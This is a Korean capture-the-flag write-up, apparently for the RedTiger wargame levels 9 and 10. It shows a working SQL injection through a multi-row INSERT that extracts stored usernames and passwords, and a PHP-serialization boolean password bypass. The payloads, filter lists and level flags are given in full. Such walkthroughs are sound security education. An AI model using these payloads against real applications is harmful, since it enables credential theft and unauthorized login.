힌트는 다음과 같습니다. 아무 계정의 아이디와 패스워드를 알아내서 로그인 해야하며, Blind Injection이 아닌 방법으로 해결해야 합니다.

Target: Get username and password of any user. Tablename: level9_users
This is not a blind injection. There is a way to get some output back:)

Name, Title, Content(Text) 부분에 데이터 입력 후 Submit 하면 입력한 내용이 페이지에 출력됩니다. image Input Submit

Content 부분에 “'“를 삽입하여 요청하면 아래와 같은 에러가 나타나며 Content가 Injection 포인트 인 것을 알 수 있습니다.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''')' at line 6

image Error Message

테스트를 통해 알아낸 사용가능한 구문 및 필터링 처리되는 구문을 다음과 같습니다.

[ ALLOW List ]

select
sleep
case
order by
--

[ DENY List ]

benchmark
information_schema
if
=
in

처음에는 UPDATE 구문으로 생각하고 공격을 시도하였으나, “=” 문자가 필터링 되어 있어 방법을 생각하던 와중, 다음 페이로드를 주입하여 에러를 발생시켜 INSERT 구문임을 확인했습니다.

', '') -- 

image Error Message

해당 에러는 INSERT 구문 사용시 컬럼의 갯수가 일치하지 않아 발생하는 에러입니다.

Column count doesn't match value count at row 1

Solution

INSERT 문을 사용중이기 때문에 multiple rows 를 사용하여 공격할 수 있습니다.

MySQL INSERT multiple rows statement

INSERT INTO table_name (column_list)
VALUES
	(value_list_1),
	(value_list_2),
	...
	(value_list_n);

아래의 페이로드를 주입합니다.

'), ('a', 'b', 'c') --

출력 메시지에 a, b, c 가 출력 됩니다. image *INSERT SQL Injection - 1

level9_users 테이블의 username과 password를 출력하도록 페이로드를 수정후 주입합니다.

'), ((select username from level9_users), (select password from level9_users), 'c') --

성공적으로 username, password 가 출력됩니다. image INSERT SQL Injection - 2

해당 정보로 로그인을 하면 플래그 값을 얻을 수 있습니다. image Get FLAG

level10 으로 가기위한 패스워드는 다음과 같습니다.

whatever_just_a_fresh_password

Level 10.

메인화면은 다음과 같습니다.

image index

Analysis

현재 “Monkey” 유저로 로그인 되어있으며, 일반권한을 갖고 있고, “TheMaster” 유저로 로그인 하는것이 목표입니다.

level 10 메인 페이지 요청 패킷을 확인하면 아래와 같은 데이터가 전송됩니다.

POST /level10.php HTTP/1.1
Host: redtiger.labs.overthewire.org
...

login=YToyOntzOjg6InVzZXJuYW1lIjtzOjY6Ik1vbmtleSI7czo4OiJwYXNzd29yZCI7czoxMjoiMDgxNXBhc3N3b3JkIjt9&dologin=Login

Solution

login 파라미터값을 Base64 Decode를 수행하면 아래와 같은 데이터가 나옵니다.

a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}

해당 데이터 형식은 php serialize된 것으로 확인되며, password를 입력하는 부분에 ' or '1' = '1등의 페이로드를 주입한 결과 우회가 되지 않았습니다.

PHP serialize는 String만이 아닌 다양한 형식을 지원하는데, boolean 형식을 주입해보겠습니다.

쉘에서 PHP interactive mode로 serialize()를 통해 serialize된 데이터 확인이 가능합니다.

root@dohyeon:~# php -a
Interactive mode enabled

php > $args = new stdClass;
php > $args->test = true;
php > echo serialize($args);
O:8:"stdClass":1:{s:4:"test";b:1;}

password 부분에 b:1 을 주입하고, Base64 Encode한 데이터를 login 파라미터에 넣어서 요청합니다.

# Plain Data
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
# Base64 Encode
YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30=

image solve

level10 플래그는 다음과 같습니다.

make_the_internet_great_again